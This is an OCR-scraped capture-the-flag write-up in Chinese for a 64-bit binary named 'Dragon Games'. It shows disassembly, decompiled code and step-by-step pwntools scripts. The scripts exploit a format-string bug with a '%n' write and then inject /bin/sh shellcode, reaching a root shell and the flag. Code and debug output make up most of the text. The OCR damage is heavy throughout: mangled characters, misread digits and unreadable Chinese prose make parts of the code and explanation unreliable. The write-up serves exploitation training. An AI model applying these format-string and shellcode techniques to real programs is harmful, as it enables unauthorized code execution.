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root@mypwn: /ctf/work/python# checksec 167e00a26ef44e1f888b3ede29d88e38
[*] '/ctf/work/python/167e00a26ef44e1f888b3ede29d88e38"

Arch: amd64-64-1ittle
RELRO: Full RELRO

Stack: Canary found

NX: NX enabled

PIE: No PIE (0x400000)
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F] Functions window = & & IDA View-A Hex View-1 Q (Al Structures Q[F
" -text:0000000000400E0B var_78 = gword ptr -78h
Function name .text:0000000000400E0B var_8 = gword ptr -8
.text:0000000000400E0B
E stremp .text:0000000000400E0B ; _ unwind {
.text:0000000000400E0B push rbp
E gmon_start .text:0000000000400E0C mov rbp, rsp
- - — .text:0000000000400E0F sub rsp, 90h
E time .text:0000000000400E16 mov [rbp+var_84], edi
.text:0000000000400E1C mov [rbptvar 90], rsi
E malloc .text:0000000000400E23 mov rax, f£s:28h
.text:0000000000400E2C mov [rbptvar_ 8], rax
E __isoc99_scanf .text:0000000000400E30 xor eax, eax
.text:0000000000400E32 mov rax, cs:stdout
E exit .text:0000000000400E39 mov esi, ; buf
.text:0000000000400E3E mov rdi, rax ; stream
E rand . text:0000000000400E41 call  setbuf
.text:0000000000400E46 mov edi, 3ch ; seconds
E start .text:0000000000400E4B call alarm
.text:0000000000400E50 mov [rbp+var_80], O
E sub_4008D0 . text:0000000000400E58 mov eax, 0
.text:0000000000400E5D call  sub_400996
E sub_400950 .text:0000000000400E62 mov edi, 8 ; size
.text:0000000000400E67 call malloc
E sub_400970 .text:0000000000400E6C mov [rbptvar_78], rax
- .text:0000000000400E70 mov rax, [rbptvar_78]
E sub_400996 .text:0000000000400E74 mov dword ptr [raX], 44h
.text:0000000000400E7A mov rax, [rbpt+var 78]
E sub_4009DD .text:0000000000400E7E add rax, 4
- .text:0000000000400E82 mov dword ptr [rax], 55h
E sub_400A7D .text:0000000000400E88 mov edi, offset aWeAreWizardWeW ; "we are wizard, we will give you hand, y"...
.text:0000000000400E8D call puts
E sub 400BB9 .text:0000000000400E92 mov edi, offset aWeWillTell¥ouT ; "we will tell you two secret ..."
- .text:0000000000400E97 call puts
E sub_400CA6 .text:0000000000400E9C mov rax, [rbptvar 78]
.text:0000000000400EAD mov rsi, rax
E sub_400D72 .text:0000000000400EA3 mov edi, offset format ; "secret[0] is %x\n"
.text:0000000000400EAS8 mov eax, 0
IE main .text:0000000000400EAD call printf
.text:0000000000400EB2 mov rax, [rbpt+var_78]
E init .text:0000000000400EB6 add rax, 4
.text:0000000000400EBA mov rsi, rax
E fini .text:0000000000400EBD mov edi, offset aSecretlIsX ; "secret[1] is %x\n"
.text:0000000000400EC2 mov eax, 0
E _term_proc .text:0000000000400EC7 call  printf
.text:0000000000400ECC mov edi, offset aDoNotTellAnyon ; "do not tell anyone "
E imp__isoc99_scanf .text:0000000000400ED1 call  puts
- - - .text:0000000000400ED6 mov rax, [rbp+var_ 78]
E __imp_exit .text:0000000000400EDA mov rdi, rax
.text:0000000000400EDD call  sub_400D72
E _imp_mmap .text:0000000000400EE2 mov edi, offset aTheEndReally ; "The End..... Really?"
.text:0000000000400EE7 call puts
E _imp_alarm . text:0000000000400EEC mov eax, 0
.text:0000000000400EF1 mov rdx, [rbp+var 8]
E imp__libc_start_main .text:0000000000400EF5 xor rdx, fs:28h
- - = = .text:0000000000400EFE jz short locret_400F05
E _imp_time . text:0000000000400F00 call  _ stack chk Ffail
B L T e e S S ——
E imp_strlen .text:0000000000400F05
— .text:0000000000400F05 locret 400F05: ; CODE XREF: main+F31j
E _ imp_setbuf . text:0000000000400F05 leave

[7] _imp_strecmp

[7] _imp_puts

[#] _imp__stack_chk_fail
[7] _imp_srand

[7] _imp_printf

Line 29 of 48
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.text:0000000000400F06 retn
.text:0000000000400F06 ; } // starts at 400EOB
i ndp

-text:0000000000400F06 main
.text:0000000000400F06
.text:0000000000400F06 ;
.text:0000000000400F07
.text:0000000000400F10
.text:0000000000400F10 ;
.text:0000000000400F10
.text:0000000000400F10

align

SUBROUTINE

00000EOB 0000000000400E0B: main (Synchronized with Hex View-1)

MEFRIFRAEEE, HEREIRE, TE2HH 8 &2 CcE S H:

__int64 _ fastcall main(__int64 al, char **a2, char **a3)

{
_DWORD *v3; // rax

_DWORD *v4; // ST18_8

setbuf(stdout, OLL);

alarm(0x3Cu);

sub_400996(60LL, OLL);

v3 = malloc(8uLlL);

v4 = v3;

*v3 = 68;

v3[1l] = 85;

puts("we are wizard, we will give you hand, you can

not defeat dragon by yourself ...");
puts("we will tell you two secret ...");

printf("secret[0] is %x\n", v4, a2);

printf("secret[1] is %x\n", v4 + 1);

puts("do not tell anyone ");

sub_400D72(v4);

puts("The End.....Really?");

return OLL;

unsigned _ int64 _ fastcall sub_400D72(__int64 al)

{
char s; // [rsp+10h] [rbp-20h]

1inciaonad int&A 2 // Treni?22h1 Trhn-Qhl



UIISAEIICU _ L1ILUT Vo, // |1 3pP1&vl] [ up vl

v3 = _ readfsqword(0x28u);
puts("What should your character's name be:");
_isoc99_scanf("%s", &s);
if ( strlen(&s) <= OxC )
{
puts(“"Creating a new player.");
sub_400A7D("Creating a new player.");
sub_400BB9();
sub_4008CA6(al);

}
else
{
puts("Hei! What's up!");
}
return __readfsqword(©x28u) ~ v3;

unsigned __int64 _ fastcall sub_400CA6(_DWORD *al)
{

void *v1; // rsi

unsigned __int64 v3; // [rsp+18h] [rbp-8h]

v3 = _ readfsqword(0x28u);

puts("Dragon say: HaHa! you were supposed to have a normal");
puts("RPG game, but I have changed it! you have no weapon and ");
puts(“skill! you could not defeat me !");
puts("That's sound terrible! you meet final boss!but you level is ONE!");
if ( *al == al[1] )
{

puts("Wizard: I will help you! USE YOU SPELL");

vl = mmap(@LL, ©xleeeuLL, 7, 33, -1, OLL);

read(@, vil, 0x100uLL);

((void (__fastcall *)(_QWORD, void *))vi)(eLL, v1);
¥

return __readfsqword(©x28u) ~ v3;

unsigned __ int64 sub_400BB9()
{
int v1; // [rsp+4h] [rbp-7Ch]
__inté4 v2; // [rsp+8h] [rbp-78h]
char format; // [rsp+1@h] [rbp-706h]
unsigned __int64 v4; // [rsp+78h] [rbp-8h]

v4 = _ readfsqword(0x28u);

v2 = OLL;

puts("You travel a short distance east.That's odd, anyone disappear suddenly");
puts(", what happend?! You just travel , and find another hole");

puts("You recall, a big black hole will suckk you into it! Know what should you do?");
puts("go into there(1l), or leave(@)?:");

_is0c99_scanf("%d", &vl);

if (vi==1)

{

puts("A voice heard in your mind");
puts("'Give me an address'");
_is0c99_scanf("%1d", &v2);

puts("And, you wish is:");



_isoc99_scanf("%s", &format);
puts("Your wish is");
printf(&format, &format);

puts("I hear it, I hear it....");
}
return __ readfsqword(©x28u) ~ v4;
}
unsigned __int64 sub_400A7D()
{
char s1; // [rsp+6h] [rbp-106h]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = _ readfsqword(0x28u);
puts(" This is a famous but quite unusual inn. The air is fresh and the");
puts("marble-tiled ground is clean. Few rowdy guests can be seen, and the");
puts("furniture looks undamaged by brawls, which are very common in other pubs");
puts("all around the world. The decoration looks extremely valuable and would fit");
puts("into a palace, but in this city it's quite ordinary. In the middle of the");
puts(“room are velvet covered chairs and benches, which surround large oaken");
puts(“tables. A large sign is fixed to the northern wall behind a wooden bar. In");
puts(“"one corner you notice a fireplace.");
puts(“"There are two obvious exits: east, up.");
puts("But strange thing is ,no one there.");
puts(“"So, where you will go?east or up?:");
while ( 1)
{
_iso0c99_scanf("%s", &s1);
if ( !strcmp(&sl, "east") || !strcmp(&sl, "east") )
break;
puts("hei! I'm secious!");
puts("So, where you will go?:");
¥
if ( strcmp(&s1l, "east") )
{
if ( !strcmp(&s1, "up") )
sub_4009DD(&s1, "up");
puts("YOU KNOW WHAT YOU DO?");
exit(0);
}
return _ readfsqword(©x28u) ~ v2;
}

void __noreturn sub_4009DD()
{
unsigned int v@; // eax
int v1; // [rsp+6h] [rbp-106h]
int v2; // [rsp+4h] [rbp-Ch]
unsigned _ int64 v3; // [rsp+8h] [rbp-8h]

v3 = _ readfsqword(0x28u);
puts("You go right, suddenly, a big hole appear front you!");
puts("where you will go?!left(@) or right(1)?!:");
vO = time(OLL);
srand(vo);
while ( 1)
{
v2 = rand() % 2;

B 2 1o BTN o L UL R L] 0.1\ .



_4ddULTT_>SCdlT( U , avli),
if (vl l=v2)
break;

puts("You escape it!but another hole appear!");

puts("where you will go?!left(@) or right(1)?!:");
}
puts("YOU ARE DEAD");
exit(0);

unsigned __int64 sub_400996()

{
unsigned __int64 vo@; // STO8_8

vl = _ readfsqword(0x28u);
puts("Welcome to Dragon Games!");
puts(off_603010);

return __readfsqword(©x28u) ~ vO;

BARARE, TURAAHAEERNE, $— R

if ( *al == al[1] )
{
puts("Wizard: I will help you! USE YOU SPELL");
vl = mmap(OLL, ©x10e0ulLL, 7, 33, -1, OLL);
read(0, vl, 0x100uLL);
((void (__fastcall *)(_QWORD, void *))vi)(eLL, v1);
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unsigned __int64 sub_400BB9()
{

int v1;

__1nt64 v2;

char format;

unsigned __int64 v4;

v4 = _ readfsqword(@x28u);
v2 oLL;
puts("You travel a short distance east.That's odd, anyone disappear suddenly");
puts(", what happend?! You just travel , and find another hole");
puts("You recall, a big black hole will suckk you into it! Know what should you do?");
puts('go into there(1), or leave(@)?:");
_1s0c99 scanf("%d", &vl1);
(vi==1)
{

puts("A voice heard in your mind");
puts("'Give me an address'");
_is0c99_scanf("s1ld", &v2);
puts("And, you wish is:");
_is0c99_scanf("%s", &format);
puts({"Your wish is");
printf(&format, &format);

puts{ I iear 1t, I iear ft....");

__readfsqword(@x28u) ~ v4;

REAE M AT R BRI

MBRHE T, BRI AR R, SRRRELE - MR T ERAER, REHRE
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if ( *al == al[1] )

F¥—Tal, £KIE”RMmainREh &I RE), *atfal[1]fER:

*v3 = 68;
v3[1] = 85;

FRBUAEF) e AL AL F 75 R BV AL B 7, 4 T RBAVIRIER MAEE — TS

root@mypwn:/ctf/work/python# ./167e00a26ef44e1f888b3ede29d88e38
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we are wizard, we will give you hand, you can not defeat dragon by yourself ...

we will tell you two secret ...
secret[0] is 1457260

secret[1] is 1457264

do not tell anyone

What should your character's name be:
AA

Creating a new player.

This is a famous but quite unusual inn. The air is fresh and the
marble-tiled ground is clean. Few rowdy guests can be seen, and the
furniture looks undamaged by brawls, which are very common in other pubs
all around the world. The decoration looks extremely valuable and would fit
into a palace, but in this city it's quite ordinary. In the middle of the
room are velvet covered chairs and benches, which surround large oaken
tables. A large sign is fixed to the northern wall behind a wooden bar. In
one corner you notice a fireplace.

There are two obvious exits: east, up.

But strange thing is ,no one there.

So, where you will go?east or up?:

east

You travel a short distance east.That's odd, anyone disappear suddenly
, what happend?! You just travel , and find another hole

You recall, a big black hole will suckk you into it! Know what should you do?
go into there(1), or leave(®)?:

1

A voice heard in your mind

'Give me an address'

AAA

And, you wish is:

Your wish is

AAAI hear it, I hear it....

Dragon say: HaHa! you were supposed to have a normal

RPG game, but I have changed it! you have no weapon and

skill! you could not defeat me !

That's sound terrible! you meet final boss!but you level is ONE!
The End..... Really?

xRS, BATEA—NERERRTE



secret[0@] is 1457260
secret[1] is 1457264

HETAME:

v3 = malloc(8uLL);

v4 = v3;

*v3 = 68;

v3[1] = 85;

puts("we are wizard, we will give you hand, you can not defeat dragon by yourself ...");
puts("we will tell you two secret ...");

printf("secret[@] is %x\n", v4, a2);

printf("secret[1] is %x\n", v4 + 1);

AT R INIT ED H R k=2 v3 Ry H ik o
BMERET, BE—NHEMFGBREKRRT.
BT R EATR M iE payload KMl — T printfi & &4 & -

payload = 'A'"*4 + '.%x'*10@

BATEFR FITENH R4 4AMEFE T LMLE .
& R AE A payload4s 5 python i A< 4 F -

#!python
#!/usr/bin/env python
# coding=utf-8

from pwn import *

context(log_level = 'debug', arch = 'amd64', os = 'linux')
p = process('./167e00a26ef44e1f888b3ede29d88e38")

# p = remote("111.198.29.45", 39237)

payload = 'A'*4 + '.%x'*10

.sendlineafter('be:\n', 'aaa')
.sendlineafter('up?:\n', 'east')
.sendlineafter('leave(@)?:\n', '1")
.sendlineafter("address'\n", 'aaa')
.sendlineafter('is:\n', payload)

T © © T T T

.interactive()

W RS R



[DEBUG] Received 0x30@ bytes:
'A voice heard in your mind\n'
"'Give me an address'\n"
[DEBUG] Sent @x4 bytes:
‘aaa\n’
[*] Process './167e00a26ef44e1f888b3ede29d88e38"' stopped with exit code @ (pid 129)
[DEBUG] Received ©@x14a bytes:
'And, you wish is:\n'
"Your wish is\n'
'aaal hear it, I hear it....\n'

'Dragon say: HaHa! you were supposed to have a normal\n'’
'RPG game, but I have changed it! you have no weapon and \n'
'skill! you could not defeat me !\n'
"That's sound terrible! you meet final boss!but you level is ONE!\n"
'The End..... Really?\n'
[DEBUG] Sent ©0x23 bytes:
"AAAA L BX L BX  BX o BX  BX L HoX  ToX L FoX L ToX . X \N'"
Traceback (most recent call last):
File "stringpwn.py", line 16, in <module>
p.sendlineafter('is:\n', payload)
File "/usr/local/lib/python2.7/dist-packages/pwnlib/tubes/tube.py", line 748, in sendlineafter
self.sendline(data)
File "/usr/local/lib/python2.7/dist-packages/pwnlib/tubes/tube.py", line 726, in sendline
self.send(line + self.newline)
File "/usr/local/lib/python2.7/dist-packages/pwnlib/tubes/tube.py", line 707, in send
self.send_raw(data)
File "/usr/local/lib/python2.7/dist-packages/pwnlib/tubes/process.py"”, line 710, in send_raw
raise EOFError
EOFError

ERFXEMET, MHRINKpayloadi X AEEMM BN, WE— TR, KIT —AHE:

_iso0c99_scanf("%1d", &v2);

AT AR GRS, MR pythonfi A A\ K Zaaa, FrelXMITMAEZEA, Milaaaiks T—
NN E

_is0c99_scanf("%s", &format);

B TXANAEZ G, BAES— T pythonfiZ:



#!python
#!/usr/bin/env python
# coding=utf-8

from pwn import *

context(log_level = 'debug', arch = 'amd64', os = 'linux')
p = process('./167e00a26ef44e1f888b3ede29d88e38")

# p = remote("111.198.29.45", 39237)

payload = 'A'*4 + '.%x'*10

.sendlineafter('be:\n', 'aaa‘)
.sendlineafter('up?:\n', 'east')
.sendlineafter('leave(®)?:\n', '1")
.sendlineafter("address'\n", '1')
.sendlineafter('is:\n', payload)
.interactive()

T T © T T T

%%féqra %5%%ﬁﬂ1<:

[DEBUG] Received 0x30 bytes:
'"A voice heard in your mind\n'
"'Give me an address‘'\n"
[DEBUG] Sent ©@x2 bytes:
‘I\n"
[DEBUG] Received ©x12 bytes:
'And, you wish is:\n'
[DEBUG] Sent ©x23 bytes:
"AAAA KX X L TX L TX  TX X BX X L TX KX \N"
[*] Switching to interactive mode
[*] Process './167e00a26ef44e1f888b3ede29d88e38' stopped with exit code © (pid 133)
[DEBUG] Received 0x17e bytes:
"Your wish is\n'

'AAAA.al47a7e3.al147b8c0.al19e154.c.0.a14762a0.1.41414141.252e7825.2e78252el hear it, I hear it..

'Dragon say: HaHa! you were supposed to have a normal\n'
'RPG game, but I have changed it! you have no weapon and \n'
'skill! you could not defeat me !\n'
"That's sound terrible! you meet final boss!but you level is ONE!\n"
'The End..... Really?\n*
Your wish is
AAAA.al47a7e3.a147b8c0.all19e154.¢c.0.a14762a0.1.41414141.252e7825.2e78252el hear it, I hear it....

Dragon say: HaHa! you were supposed to have a normal

RPG game, but I have changed it! you have no weapon and

skill! you could not defeat me !

That's sound terrible! you meet final boss!but you level is ONE!
The End..... Really?

[*] Got EOF while reading in interactive

R—RKAGLE SR IERK, T H kAR T HATE Z i printffm i (&

..\n'



[DEBUG] Received 0x17e bytes:
'Your wish is\n'
'AAAA.al47a7e3.a147b8c0.all19e154.¢c.0.a14762a0.1.4414141411252e7825.2e78252el hear it, I

'Dragon say: HaHa! you were supposed to have a normal\n'
'RPG agame. but I have chanaed it! vou have no weapon and \n'

BATHE— T WMBAERS, AAATH AT LLE T Hi& python i 4

#!python
#!/usr/bin/env python
# coding=utf-8

from pwn import *

context(log_level = 'debug', arch = 'amd64', os = 'linux')
p = process('./167e00a26ef44e1f888b3ede29d88e38")

# p = remote("111.198.29.45", 39237)

p.recvuntil('secret[0] is ')
addr = int(p.recvuntil('\n'), 16)

# payload = 'A'*4 + '.%x'*10
payload = str(addr) + '%81c%8%n’

p.sendlineafter('be:\n', 'aaa')
p.sendlineafter('up?:\n', 'east')
p.sendlineafter('leave(@)?:\n', '1")
p.sendlineafter("address'\n", '1111")
p.sendlineafter('is:\n', payload)
p.interactive()

PATZEE THR:

[DEBUG] Received 0x30@ bytes:
'A voice heard in your mind\n'
"'Give me an address'\n"
[DEBUG] Sent Ox5 bytes:
'1111\n"
[DEBUG] Received ©0x12 bytes:
'And, you wish is:\n'
[DEBUG] Sent @x11 bytes:
'10170976%81c%8%$n\n"
[*] Switching to interactive mode
[DEBUG] Received @xd bytes:
"Your wish is\n'
Your wish is
[*] Got EOF while reading in interactive

RAPAT AT X, FHRET — TRAKMTT

_isoc99_scanf("%s", &format);

AT RRMARAREE (KXATUERR—T) , FrUNGRMAE AN T ht, BATRERIE,
PEEFBINET .
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"Give me an address\n"iX ™ 7 M printf 2 [B] R FEAE R R
BATHAE—THANR—T, FEV2H{E, FEprintffi (ZITENEMAMIE, BEEREANT:

#!python
#!/usr/bin/env python
# coding=utf-8

from pwn import *

context(log_level = 'debug', arch = 'amdé4', os = 'linux')
p = process('./167e00a26ef44e1f888b3ede29d88e38")

# p = remote("111.198.29.45", 39237)

p.recvuntil('secret[0] is ')
addr = int(p.recvuntil('\n'), 16)

payload = 'A'*4 + '.%x'*10
# payload = str(addr) + '%77c%7%n’

.sendlineafter('be:\n', 'aaa')
.sendlineafter('up?:\n', 'east')
.sendlineafter('leave(®)?:\n', '1")
.sendlineafter("address'\n", str(ox1111))
.sendlineafter('is:\n', payload)
.interactive()

T T © T T T

IV A BUR162E R, XA ENE, M RIT:

'Your wish is\n'
"AAAA.41c367e3.41c378c0.4195a154.¢c.0.41c322a0.1111.41414141.252e7825.2e78252el hear it, I hear it....\n

MER M EREETNMIE, FrURNEFEZAVHARNFEF KA, K581 printfig ALHRIR %
TR

HIxBHpayload T

payload = '%85d%7%n'

python A WAEH T AVv2HKIEN, BARINT:



#!python
#!/usr/bin/env python
# coding=utf-8

from pwn import *

context(log_level = 'debug', arch = 'amd64', os = 'linux')
p = process('./167e00a26ef44e1f888b3ede29d88e38")

# p = remote("111.198.29.45", 39237)

p.recvuntil('secret[@] is ")
addr = int(p.recvuntil('\n'), 16)

# payload = 'A'*4 + '.%x'*10
# payload = str(addr) + '%76c%8%n'
payload = '%85d%7%n’

.sendlineafter('be:\n', 'aaa')
.sendlineafter('up?:\n', 'east')
.sendlineafter('leave(®)?:\n', '1")
.sendlineafter("address'\n", str(addr))
.sendlineafter('is:\n', payload)
.interactive()

T T © T T T

WHERIT:

[DEBUG] Received 0x30 bytes:
'A voice heard in your mind\n'
"'Give me an address'\n"

[DEBUG] Sent ©x9 bytes:
'16720480\n"

[DEBUG] Received ©x12 bytes:
'And, you wish is:\n'

[DEBUG] Sent ©x9 bytes:
'%85d%7$n\n"

[*] Switching to interactive mode

[DEBUG] Received 0x19d bytes:
"Your wish is\n'

14766919391 hear it, I hear

'Dragon say: HaHa! you were supposed to have a normal\n'
'RPG game, but I have changed it! you have no weapon and \n'
'skill! you could not defeat me !\n'
"That's sound terrible! you meet final boss!but you level is ONE!\n"
'Wizard: I will help you! USE YOU SPELL\n'
Your wish is
14766919391 hear it, I hear it..

Dragon say: HaHa! you were supposed to have a normal

RPG game, but I have changed it! you have no weapon and

skill! you could not defeat me !

That's sound terrible! you meet final boss!but you level is ONE!
Wizard: I will help you! USE YOU SPELL

&F T USE YOU SPELL", 4T3 A\ L5 shellcodeffifz.



if ( *al == al[1] )
{
puts("Wizard: I will help you! USE YOU SPELL");
vl = mmap(OLL, ©xleeeuLL, 7, 33, -1, OLL);
read(0, vl, 0x100uLL);
((void (__fastcall *)(_QWORD, void *))vi)(eLL, v1);

B T, BAIGkSH 78— T Ashellcodeffipythonfii 4, EAkinT:

#!python
#!/usr/bin/env python
# coding=utf-8

from pwn import *

context(log_level = 'debug', arch = 'amdé64', os = 'linux')
p = process('./167e00a26ef44e1f888b3ede29d88e38")

# p = remote("111.198.29.45", 39237)

p.recvuntil('secret[@] is ")
addr = int(p.recvuntil('\n'), 16)

# payload = 'A'*4 + '.%x'*10
# payload = str(addr) + '%76c%8%n’
payload = '%85d%7%$n’

.sendlineafter('be:"', 'aaa')
.sendlineafter('up?:', 'east')
.sendlineafter('leave(@)?:"', '1')
.sendlineafter("address'", str(addr))

.sendlineafter('is:"', payload)

T T ©T T T

sc = asm(shellcraft.sh())
p.sendlineafter('SPELL', sc)

p.interactive()

RAR/BGRINT:



[DEBUG] Received 0x19d bytes:
'"Your wish is\n'
! -8447938851 hear it, I hear

'Dragon say: HaHa! you were supposed to have a normal\n'’
'RPG game, but I have changed it! you have no weapon and \n'
'skill! you could not defeat me !\n'
"That's sound terrible! you meet final boss!but you level is ONE!\n"
'Wizard: I will help you! USE YOU SPELL\n'
[DEBUG] Sent 0x31 bytes:
00000000 6a 68 48 b8 2f 62 69 6e 2f 2f 2f 73 50 48 89 e7 |jhH-|/bin|///s|PH--|
90000010 68 72 69 01 ©1 81 34 24 ©1 01 @1 @1 31 f6 56 6a |hri-|--4%]----|1-V]|
00000020 08 Se 48 01 e6 56 48 89 e6 31 d2 6a 3b 58 OFf @5 |-~H-|-VH-|-1-3];X--]|
00000030 @a ||
00000031
[*] Switching to interactive mode

$ id
[DEBUG] Sent ©x3 bytes:
"id\n’
[DEBUG] Received 0x27 bytes:
'uid=0(root) gid=@(root) groups=0(root)\n
uid=0e(root) gid=0(root) groups=0(root)
[*]

AMPATEFR T, BEATERT, BETER

[DEBUG] Sent ©x31 bytes:
00000000 6a 68 48 b8 2f 62 69 6e 2f 2f 2f 73 50 48 89 e7 |jhH-|/bin|///s|PH--|
00000010 68 72 69 @1 01 81 34 24 ©1 01 @1 @1 31 f6 56 6a |hri-|--4%]|----|1-V]|
00000020 08 Se 48 @1 e6 56 48 89 e6 31 d2 6a 3b 58 OFf @5 |-~H-|-VH-|-1-3|;X--]|
00000030 0a |-
00000031

[*] Switching to interactive mode

$ cat flag
[DEBUG] Sent 0x9 bytes:
'cat flag\n'
[DEBUG] Received ©@x2d bytes:
'cyberpeace{0@ccf7e5915f22001248fce6935452971}\n"
cyberpeace{@ccf7e5915f2a001248fce6935452971}
$

pIhiREflag. XA HE T —LE R, FEIEREX printfi g NARITE AR KA. SN E Z E# SR
TR
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